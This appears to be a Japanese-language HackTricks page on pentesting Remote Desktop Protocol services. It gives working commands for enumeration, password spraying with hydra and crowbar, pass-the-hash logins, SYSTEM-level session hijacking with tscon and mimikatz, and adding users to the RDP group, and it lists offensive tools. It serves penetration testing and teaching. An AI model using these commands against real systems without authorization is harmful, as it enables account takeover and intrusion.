131 lines
6.8 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 3389 - Pentesting RDP
{{#include ../banners/hacktricks-training.md}}
## 基本情報
Microsoftによって開発された**Remote Desktop Protocol****RDP**)は、ネットワークを介してコンピュータ間のグラフィカルインターフェース接続を可能にするように設計されています。この接続を確立するために、ユーザーは**RDP**クライアントソフトウェアを利用し、同時にリモートコンピュータは**RDP**サーバーソフトウェアを操作する必要があります。このセットアップにより、遠隔コンピュータのデスクトップ環境をシームレスに制御およびアクセスでき、実質的にそのインターフェースをユーザーのローカルデバイスに持ち込むことができます。
**デフォルトポート:** 3389
```
PORT STATE SERVICE
3389/tcp open ms-wbt-server
```
## 列挙
### 自動
```bash
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>
```
利用可能な暗号化とDoS脆弱性をチェックしサービスにDoSを引き起こすことなく、NTLM Windows情報バージョンを取得します。
### [ブルートフォース](../generic-hacking/brute-force.md#rdp)
**注意してください、アカウントがロックされる可能性があります**
### **パスワードスプレー**
**注意してください、アカウントがロックされる可能性があります**
```bash
# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
```
### 知られている資格情報/ハッシュで接続する
```bash
rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash
```
### RDPサービスに対する既知の資格情報の確認
impacketのrdp_check.pyを使用すると、RDPサービスに対していくつかの資格情報が有効かどうかを確認できます
```bash
rdp_check <domain>/<name>:<password>@<IP>
```
## **攻撃**
### セッションの盗難
**SYSTEM権限**を持っていれば、**所有者のパスワードを知らなくても、任意のユーザーによって開かれたRDPセッションにアクセスできます。
**開かれたセッションを取得:**
```
query user
```
**選択したセッションへのアクセス**
```bash
tscon <ID> /dest:<SESSIONNAME>
```
今、選択したRDPセッションに入っており、Windowsのツールと機能のみを使用してユーザーをなりすますことができます。
**重要**: アクティブなRDPセッションにアクセスすると、そのセッションを使用していたユーザーが切断されます。
プロセスをダンプしてパスワードを取得することもできますが、この方法ははるかに速く、ユーザーの仮想デスクトップと対話することができますディスクに保存されていないートパッドのパスワード、他のマシンで開かれた他のRDPセッション...)。
#### **Mimikatz**
この目的のためにmimikatzを使用することもできます:
```bash
ts::sessions #Get sessions
ts::remote /id:2 #Connect to the session
```
### Sticky-keys & Utilman
この技術を**stickykeys**または**utilman**と組み合わせることで、いつでも管理者CMDおよび任意のRDPセッションにアクセスできます。
これらの技術のいずれかでバックドアが仕掛けられたRDPを検索するには、[https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)を使用できます。
### RDPプロセスインジェクション
異なるドメインの誰かが**より高い権限でRDP経由で**あなたが管理者であるPCにログインした場合、彼の**RDPセッションプロセス**にあなたのビーコンを**インジェクト**して、彼のように行動することができます:
{{#ref}}
../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md
{{#endref}}
### RDPグループへのユーザー追加
```bash
net localgroup "Remote Desktop Users" UserLoginName /add
```
## 自動ツール
- [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn)
**AutoRDPwn**は、主にMicrosoft Windowsコンピュータに対する**Shadow**攻撃を自動化するために設計されたPowershellで作成されたポストエクスプロイトフレームワークです。この脆弱性Microsoftによって機能としてリストされていますは、リモート攻撃者が**被害者の同意なしにデスクトップを表示し**、さらには要求に応じてそれを制御することを可能にします。これは、オペレーティングシステム自体にネイティブなツールを使用します。
- [**EvilRDP**](https://github.com/skelsec/evilrdp)
- コマンドラインから自動的にマウスとキーボードを制御
- コマンドラインから自動的にクリップボードを制御
- クライアントからSOCKSプロキシを生成し、RDPを介してターゲットへのネットワーク通信をチャネル
- ファイルをアップロードせずにターゲット上で任意のSHELLおよびPowerShellコマンドを実行
- ターゲットでファイル転送が無効になっている場合でも、ターゲットとの間でファイルをアップロードおよびダウンロード
- [**SharpRDP**](https://github.com/0xthirteen/SharpRDP)
このツールは、**グラフィカルインターフェースを必要とせずに**被害者のRDPでコマンドを実行することを可能にします。
## HackTricks 自動コマンド
```
Protocol_Name: RDP #Protocol Abbreviation if there is one.
Port_Number: 3389 #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rdp.html
Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}
```
{{#include ../banners/hacktricks-training.md}}